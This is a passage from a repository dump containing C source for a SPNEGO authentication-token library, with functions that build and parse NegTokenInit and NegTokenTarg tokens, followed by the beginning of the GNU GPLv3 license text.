117 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
118 | {
119 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
120 | long nTokenLength = 0L;
121 | long nInternalTokenLength = 0L;
122 | unsigned char* pbTokenData = NULL;
123 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken;
124 |
125 | if (NULL != ppSpnegoToken &&
126 | IsValidMechOid(MechType) &&
127 | IsValidContextFlags(ucContextFlags))
128 | {
129 | // Get the actual token size
130 |
131 | if ((nReturn = CalculateMinSpnegoInitTokenSize(ulMechTokenLen, ulMechListMICLen,
132 | MechType, (ucContextFlags != 0L),
133 | &nTokenLength, &nInternalTokenLength))
134 | == SPNEGO_E_SUCCESS)
135 | {
136 | // Allocate a buffer to hold the data.
137 | pbTokenData = calloc(1, nTokenLength);
138 |
139 | if (NULL != pbTokenData)
140 | {
141 |
142 | // Now write the token
143 | if ((nReturn = CreateSpnegoInitToken(MechType,
144 | ucContextFlags, pbMechToken,
145 | ulMechTokenLen, pbMechListMIC,
146 | ulMechListMICLen, pbTokenData,
147 | nTokenLength, nInternalTokenLength))
148 | == SPNEGO_E_SUCCESS)
149 | {
150 |
151 | // This will copy our allocated pointer, and ensure that the sructure cleans
152 | // up the data later
153 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
154 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
155 | pbTokenData, nTokenLength, ppSpnegoToken);
156 |
157 | }
158 |
159 | // Cleanup on failure
160 | if (SPNEGO_E_SUCCESS != nReturn)
161 | {
162 | free(pbTokenData);
163 | }
164 |
165 | } // IF alloc succeeded
166 | else
167 | {
168 | nReturn = SPNEGO_E_OUT_OF_MEMORY;
169 | }
170 |
171 | } // If calculated token size
172 |
173 | } // IF Valid Parameters
174 |
175 | return nReturn;
176 | }
177 |
178 | /////////////////////////////////////////////////////////////////////////////
179 | //
180 | // Function:
181 | // spnegoCreateNegTokenTarg
182 | //
183 | // Parameters:
184 | // [in] MechType - MechType to specify in supported MechType element
185 | // [in] spnegoNegResult - NegResult value
186 | // [in] pbMechToken - Pointer to response MechToken Data
187 | // [in] ulMechTokenLen - Length of MechToken Data
188 | // [in] pbMechListMIC - Pointer to binary MechListMIC Data
189 | // [in] ulMechListMICLen - Length of MechListMIC Data
190 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
191 | //
192 | // Returns:
193 | // int Success - SPNEGO_E_SUCCESS
194 | // Failure - SPNEGO API Error code
195 | //
196 | // Comments :
197 | // Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenTarg type
198 | // from the supplied parameters. MechToken data can be NULL - if not,
199 | // it must correspond to the MechType. MechListMIC can also be NULL.
200 | // Returned data structure must be freed by calling spnegoFreeData().
201 | //
202 | ////////////////////////////////////////////////////////////////////////////
203 |
204 | int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
205 | SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
206 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
207 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
208 | {
209 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
210 | long nTokenLength = 0L;
211 | long nInternalTokenLength = 0L;
212 | unsigned char* pbTokenData = NULL;
213 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken;
214 |
215 | //
216 | // spnego_mech_oid_NotUsed and spnego_negresult_NotUsed
217 | // are okay here, however a valid MechOid is required
218 | // if spnego_negresult_success or spnego_negresult_incomplete
219 | // is specified.
220 | //
221 |
222 | if (NULL != ppSpnegoToken &&
223 |
224 | (IsValidMechOid(MechType) ||
225 | spnego_mech_oid_NotUsed == MechType) &&
226 |
227 | (IsValidNegResult(spnegoNegResult) ||
228 | spnego_negresult_NotUsed == spnegoNegResult) &&
229 |
230 | !(!IsValidMechOid(MechType) &&
231 | (spnego_negresult_success == spnegoNegResult ||
232 | spnego_negresult_incomplete == spnegoNegResult)))
233 | {
234 |
235 | // Get the actual token size
236 |
237 | if ((nReturn = CalculateMinSpnegoTargTokenSize(MechType, spnegoNegResult, ulMechTokenLen,
238 | ulMechListMICLen, &nTokenLength,
239 | &nInternalTokenLength))
240 | == SPNEGO_E_SUCCESS)
241 | {
242 | // Allocate a buffer to hold the data.
243 | pbTokenData = calloc(1, nTokenLength);
244 |
245 | if (NULL != pbTokenData)
246 | {
247 |
248 | // Now write the token
249 | if ((nReturn = CreateSpnegoTargToken(MechType,
250 | spnegoNegResult, pbMechToken,
251 | ulMechTokenLen, pbMechListMIC,
252 | ulMechListMICLen, pbTokenData,
253 | nTokenLength, nInternalTokenLength))
254 | == SPNEGO_E_SUCCESS)
255 | {
256 |
257 | // This will copy our allocated pointer, and ensure that the sructure cleans
258 | // up the data later
259 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
260 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
261 | pbTokenData, nTokenLength, ppSpnegoToken);
262 |
263 | }
264 |
265 | // Cleanup on failure
266 | if (SPNEGO_E_SUCCESS != nReturn)
267 | {
268 | free(pbTokenData);
269 | }
270 |
271 | } // IF alloc succeeded
272 | else
273 | {
274 | nReturn = SPNEGO_E_OUT_OF_MEMORY;
275 | }
276 |
277 | } // If calculated token size
278 |
279 | } // IF Valid Parameters
280 |
281 | return nReturn;
282 | }
283 |
284 | /////////////////////////////////////////////////////////////////////////////
285 | //
286 | // Function:
287 | // spnegoTokenGetBinary
288 | //
289 | // Parameters:
290 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
291 | // [out] pbTokenData - Buffer to copy token into
292 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out
293 | // with actual size used upon function return.
294 | //
295 | // Returns:
296 | // int Success - SPNEGO_E_SUCCESS
297 | // Failure - SPNEGO API Error code
298 | //
299 | // Comments :
300 | // Copies binary SPNEGO token data from hSpnegoToken into the user
301 | // supplied buffer. If pbTokenData is NULL, or the value in pulDataLen
302 | // is too small, the function will return SPNEGO_E_BUFFER_TOO_SMALL and
303 | // fill out pulDataLen with the minimum required buffer size.
304 | //
305 | ////////////////////////////////////////////////////////////////////////////
306 |
307 | int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
308 | unsigned long* pulDataLen)
309 | {
310 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
311 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
312 |
313 | // Check parameters - pbTokenData is optional
314 | if (IsValidSpnegoToken(pSpnegoToken) &&
315 | NULL != pulDataLen)
316 | {
317 |
318 | // Check for Buffer too small conditions
319 | if (NULL == pbTokenData ||
320 | pSpnegoToken->ulBinaryDataLen > * pulDataLen)
321 | {
322 | *pulDataLen = pSpnegoToken->ulBinaryDataLen;
323 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
324 | }
325 | else
326 | {
327 | memcpy(pbTokenData, pSpnegoToken->pbBinaryData, pSpnegoToken->ulBinaryDataLen);
328 | *pulDataLen = pSpnegoToken->ulBinaryDataLen;
329 | nReturn = SPNEGO_E_SUCCESS;
330 | }
331 |
332 | } // IF parameters OK
333 |
334 | return nReturn;;
335 | }
336 |
337 | /////////////////////////////////////////////////////////////////////////////
338 | //
339 | // Function:
340 | // spnegoFreeData
341 | //
342 | // Parameters:
343 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
344 | //
345 | // Returns:
346 | // void
347 | //
348 | // Comments :
349 | // Frees up resources consumed by hSpnegoToken. The supplied data
350 | // pointer is invalidated by this function.
351 | //
352 | ////////////////////////////////////////////////////////////////////////////
353 |
354 | void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken)
355 | {
356 | FreeSpnegoToken((SPNEGO_TOKEN*)hSpnegoToken);
357 | return;
358 | }
359 |
360 | /////////////////////////////////////////////////////////////////////////////
361 | //
362 | // Function:
363 | // spnegoGetTokenType
364 | //
365 | // Parameters:
366 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
367 | // [out] piTokenType - Filled out with token type value.
368 | //
369 | // Returns:
370 | // int Success - SPNEGO_E_SUCCESS
371 | // Failure - SPNEGO API Error code
372 | //
373 | // Comments :
374 | // The function will analyze hSpnegoToken and return the appropriate
375 | // type in piTokenType.
376 | //
377 | ////////////////////////////////////////////////////////////////////////////
378 |
379 | int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType)
380 | {
381 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
382 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
383 |
384 | // Check parameters
385 | if (IsValidSpnegoToken(pSpnegoToken) &&
386 | NULL != piTokenType &&
387 | pSpnegoToken)
388 | {
389 |
390 | // Check that the type in the structure makes sense
391 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType ||
392 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
393 | {
394 | *piTokenType = pSpnegoToken->ucTokenType;
395 | nReturn = SPNEGO_E_SUCCESS;
396 | }
397 |
398 | } // IF parameters OK
399 |
400 | return nReturn;
401 | }
402 |
403 | /////////////////////////////////////////////////////////////////////////////
404 | //
405 | // Function:
406 | // spnegoIsMechTypeAvailable
407 | //
408 | // Parameters:
409 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
410 | // [in] MechOID - MechOID to search MechTypeList for
411 | // [out] piMechTypeIndex - Filled out with index in MechTypeList
412 | // element if MechOID is found.
413 | //
414 | // Returns:
415 | // int Success - SPNEGO_E_SUCCESS
416 | // Failure - SPNEGO API Error code
417 | //
418 | // Comments :
419 | // hSpnegoToken must reference a token of type NegTokenInit. The
420 | // function will search the MechTypeList element for an OID corresponding
421 | // to the specified MechOID. If one is found, the index (0 based) will
422 | // be passed into the piMechTypeIndex parameter.
423 | //
424 | ////////////////////////////////////////////////////////////////////////////
425 |
426 | // Returns the Initial Mech Type in the MechList element in the NegInitToken.
427 | int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex)
428 | {
429 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
430 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
431 |
432 | // Check parameters
433 | if (IsValidSpnegoToken(pSpnegoToken) &&
434 | NULL != piMechTypeIndex &&
435 | IsValidMechOid(MechOID) &&
436 | SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
437 | {
438 |
439 | // Check if MechList is available
440 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT].iElementPresent
441 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE)
442 | {
443 | // Locate the MechOID in the list element
444 | nReturn = FindMechOIDInMechList(
445 | &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT],
446 | MechOID, piMechTypeIndex);
447 | }
448 | else
449 | {
450 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
451 | }
452 |
453 | } // IF parameters OK
454 |
455 | return nReturn;;
456 | }
457 |
458 | /////////////////////////////////////////////////////////////////////////////
459 | //
460 | // Function:
461 | // spnegoGetContextFlags
462 | //
463 | // Parameters:
464 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
465 | // [out] pucContextFlags - Filled out with ContextFlags value.
466 | //
467 | // Returns:
468 | // int Success - SPNEGO_E_SUCCESS
469 | // Failure - SPNEGO API Error code
470 | //
471 | // Comments :
472 | // hSpnegoToken must reference a token of type NegTokenInit. The
473 | // function will copy data from the ContextFlags element into the
474 | // location pucContextFlags points to. Note that the function will
475 | // fail if the actual ContextFlags data appears invalid.
476 | //
477 | ////////////////////////////////////////////////////////////////////////////
478 |
479 | int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags)
480 | {
481 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
482 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
483 |
484 | // Check parameters
485 | if (IsValidSpnegoToken(pSpnegoToken) &&
486 | NULL != pucContextFlags &&
487 | SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
488 | {
489 |
490 | // Check if ContextFlags is available
491 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].iElementPresent
492 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE)
493 | {
494 | // The length should be two, the value should show a 1 bit difference in the difference byte, and
495 | // the value must be valid
496 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].nDatalength == SPNEGO_NEGINIT_MAXLEN_REQFLAGS &&
497 | pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[0] == SPNEGO_NEGINIT_REQFLAGS_BITDIFF &&
498 | IsValidContextFlags(pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1]))
499 | {
500 | *pucContextFlags = pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1];
501 | nReturn = SPNEGO_E_SUCCESS;
502 | }
503 | else
504 | {
505 | nReturn = SPNEGO_E_INVALID_ELEMENT;
506 | }
507 |
508 | }
509 | else
510 | {
511 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
512 | }
513 |
514 | } // IF parameters OK
515 |
516 | return nReturn;;
517 | }
518 |
519 | /////////////////////////////////////////////////////////////////////////////
520 | //
521 | // Function:
522 | // spnegoGetNegotiationResult
523 | //
524 | // Parameters:
525 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
526 | // [out] pnegResult - Filled out with NegResult value.
527 | //
528 | // Returns:
529 | // int Success - SPNEGO_E_SUCCESS
530 | // Failure - SPNEGO API Error code
531 | //
532 | // Comments :
533 | // hSpnegoToken must reference a token of type NegTokenTarg. The
534 | // function will copy data from the NegResult element into the
535 | // location pointed to by pnegResult. Note that the function will
536 | // fail if the actual NegResult data appears invalid.
537 | //
538 | ////////////////////////////////////////////////////////////////////////////
539 |
540 | int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult)
541 | {
542 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
543 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
544 |
545 | // Check parameters
546 | if (IsValidSpnegoToken(pSpnegoToken) &&
547 | NULL != pnegResult &&
548 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
549 | {
550 |
551 | // Check if NegResult is available
552 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].iElementPresent
553 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE)
554 | {
555 | // Must be 1 byte long and a valid value
556 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].nDatalength == SPNEGO_NEGTARG_MAXLEN_NEGRESULT &&
557 | IsValidNegResult(*pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData))
558 | {
559 | *pnegResult = *pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData;
560 | nReturn = SPNEGO_E_SUCCESS;
561 | }
562 | else
563 | {
564 | nReturn = SPNEGO_E_INVALID_ELEMENT;
565 | }
566 | }
567 | else
568 | {
569 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
570 | }
571 |
572 | } // IF parameters OK
573 |
574 | return nReturn;;
575 | }
576 |
577 | /////////////////////////////////////////////////////////////////////////////
578 | //
579 | // Function:
580 | // spnegoGetSupportedMechType
581 | //
582 | // Parameters:
583 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
584 | // [out] pMechOID - Filled out with Supported MechType value.
585 | //
586 | // Returns:
587 | // int Success - SPNEGO_E_SUCCESS
588 | // Failure - SPNEGO API Error code
589 | //
590 | // Comments :
591 | // hSpnegoToken must reference a token of type NegTokenTarg. The
592 | // function will check the Supported MechType element, and if it
593 | // corresponds to a supported MechType ( spnego_mech_oid_Kerberos_V5_Legacy
594 | // or spnego_mech_oid_Kerberos_V5 ), will set the location pointed
595 | // to by pMechOID equal to the appropriate value.
596 | //
597 | ////////////////////////////////////////////////////////////////////////////
598 |
599 | int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID)
600 | {
601 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
602 | int nCtr = 0L;
603 | long nLength = 0L;
604 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
605 |
606 | // Check parameters
607 | if (IsValidSpnegoToken(pSpnegoToken) &&
608 | NULL != pMechOID &&
609 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
610 | {
611 |
612 | // Check if MechList is available
613 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].iElementPresent
614 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE)
615 | {
616 |
617 | for (nCtr = 0;
618 | nReturn != SPNEGO_E_SUCCESS &&
619 | g_stcMechOIDList[nCtr].eMechanismOID != spnego_mech_oid_NotUsed;
620 | nCtr++)
621 | {
622 |
623 | if ((nReturn = ASNDerCheckOID(
624 | pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].pbData,
625 | nCtr,
626 | pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].nDatalength,
627 | &nLength)) == SPNEGO_E_SUCCESS)
628 | {
629 | *pMechOID = nCtr;
630 | }
631 |
632 | } // For enum MechOIDs
633 |
634 |
635 | }
636 | else
637 | {
638 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
639 | }
640 |
641 | } // IF parameters OK
642 |
643 | return nReturn;;
644 | }
645 |
646 | /////////////////////////////////////////////////////////////////////////////
647 | //
648 | // Function:
649 | // spnegoTokenGetMechToken
650 | //
651 | // Parameters:
652 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
653 | // [out] pbTokenData - Buffer to copy MechToken into
654 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out
655 | // with actual size used upon function return.
656 | //
657 | // Returns:
658 | // int Success - SPNEGO_E_SUCCESS
659 | // Failure - SPNEGO API Error code
660 | //
661 | // Comments :
662 | // hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
663 | // The function will copy the MechToken (the initial MechToken if
664 | // NegTokenInit, the response MechToken if NegTokenTarg) from the
665 | // underlying token into the buffer pointed to by pbTokenData. If
666 | // pbTokenData is NULL, or the value in pulDataLen is too small, the
667 | // function will return SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen
668 | // with the minimum required buffer size. The token can then be passed
669 | // to a GSS-API function for processing.
670 | //
671 | ////////////////////////////////////////////////////////////////////////////
672 |
673 | int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned long* pulDataLen)
674 | {
675 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
676 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
677 | SPNEGO_ELEMENT* pSpnegoElement = NULL;
678 |
679 | // Check parameters
680 | if (IsValidSpnegoToken(pSpnegoToken) &&
681 | NULL != pulDataLen)
682 | {
683 |
684 | // Point at the proper Element
685 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
686 | {
687 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTOKEN_ELEMENT];
688 | }
689 | else
690 | {
691 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_RESPTOKEN_ELEMENT];
692 | }
693 |
694 | // Check if MechType is available
695 | if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
696 | {
697 | // Check for Buffer too small conditions
698 | if (NULL == pbTokenData ||
699 | pSpnegoElement->nDatalength > * pulDataLen)
700 | {
701 | *pulDataLen = pSpnegoElement->nDatalength;
702 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
703 | }
704 | else
705 | {
706 | // Copy Memory
707 | memcpy(pbTokenData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
708 | *pulDataLen = pSpnegoElement->nDatalength;
709 | nReturn = SPNEGO_E_SUCCESS;
710 | }
711 | }
712 | else
713 | {
714 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
715 | }
716 |
717 | } // IF parameters OK
718 |
719 | return nReturn;;
720 | }
721 |
722 | /////////////////////////////////////////////////////////////////////////////
723 | //
724 | // Function:
725 | // spnegoTokenGetMechListMIC
726 | //
727 | // Parameters:
728 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
729 | // [out] pbTokenData - Buffer to copy MechListMIC data into
730 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out
731 | // with actual size used upon function return.
732 | //
733 | // Returns:
734 | // int Success - SPNEGO_E_SUCCESS
735 | // Failure - SPNEGO API Error code
736 | //
737 | // Comments :
738 | // hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
739 | // The function will copy the MechListMIC data from the underlying token
740 | // into the buffer pointed to by pbTokenData. If pbTokenData is NULL,
741 | // or the value in pulDataLen is too small, the function will return
742 | // SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen with the minimum
743 | // required buffer size.
744 | //
745 | ////////////////////////////////////////////////////////////////////////////
746 |
747 | int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned long* pulDataLen)
748 | {
749 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
750 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
751 | SPNEGO_ELEMENT* pSpnegoElement = NULL;
752 |
753 | // Check parameters
754 | if (IsValidSpnegoToken(pSpnegoToken) &&
755 | NULL != pulDataLen)
756 | {
757 |
758 | // Point at the proper Element
759 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
760 | {
761 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHLISTMIC_ELEMENT];
762 | }
763 | else
764 | {
765 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_MECHLISTMIC_ELEMENT];
766 | }
767 |
768 | // Check if MechType is available
769 | if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
770 | {
771 | // Check for Buffer too small conditions
772 | if (NULL == pbMICData ||
773 | pSpnegoElement->nDatalength > * pulDataLen)
774 | {
775 | *pulDataLen = pSpnegoElement->nDatalength;
776 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
777 | }
778 | else
779 | {
780 | // Copy Memory
781 | memcpy(pbMICData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
782 | *pulDataLen = pSpnegoElement->nDatalength;
783 | nReturn = SPNEGO_E_SUCCESS;
784 | }
785 | }
786 | else
787 | {
788 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
789 | }
790 |
791 | } // IF parameters OK
792 |
793 | return nReturn;;
794 | }
795 |
796 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
